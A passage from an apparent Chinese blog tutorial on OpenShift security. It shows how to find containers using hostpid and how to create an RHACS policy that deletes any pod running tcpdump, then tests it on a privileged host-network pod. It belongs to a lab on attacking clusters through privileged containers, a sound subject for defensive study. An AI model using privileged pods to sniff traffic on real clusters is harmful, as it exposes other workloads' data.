    8. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostpid 配置的容器。
      在这里插入图片描述

    使用 RHACS 的策略屏蔽风险程序运行

    1. 进入 RHACS 的 Platform Configuration 的 Policy Management 菜单。
    2. 然后根据以下配置(如果发现在一个 Pod 中有运行的 tcpdump 命令,则删除该 Pod)创建一个名为 “Running tcpdump command in pod” 的策略。
      在这里插入图片描述
    3. 再次执行 “privileged+hostnetwork” 一节的第 4 步进入 priv-hostnetwork 的 pod。
    4. 在 pod 中执行第 5 步 tcpdump 命令,确认 priv-hostnetwork pod 会被删。
    5. 进入 RHACS 的 Violations 中可以看到有一个违反 “Running tcpdump command in pod” 策略的情况。在这里插入图片描述
    6. 点击链接可以看到策略违规的详细说明。
      在这里插入图片描述

    视频

    利用容器隔离和特权容器攻击OpenShift集群-1
    利用容器隔离和特权容器攻击OpenShift集群-2
    利用容器隔离和特权容器攻击OpenShift集群-3
    利用容器隔离和特权容器攻击OpenShift集群-4

    参考

    https://connect.redhat.com/en/blog/important-openshift-changes-pod-security-standards
    https://github.com/openshift/enhancements/blob/master/enhancements/authentication/pod-security-admission-autolabeling.md#psa-label-synchronization-controller

  • 相关阅读:
    xdcms漏洞合集-漏洞复现
    Go操作nutsdb
    【react】手把手学习react - 元素条件渲染
    [MIT 6.830 SimpleDB] Lab1 Exercise 1-3
    【Qt】:常用控件(五:显示类控件)
    HJ77 火车进站 ●●
    Windows Server 2022 安全功能重大更新
    智能井盖监测系统功能,万宾科技传感器效果
    宇宙IDE插件vsix安装小技巧
    算法设计与分析-10304 平面域着色
  • 原文地址:https://blog.csdn.net/weixin_43902588/article/details/134099628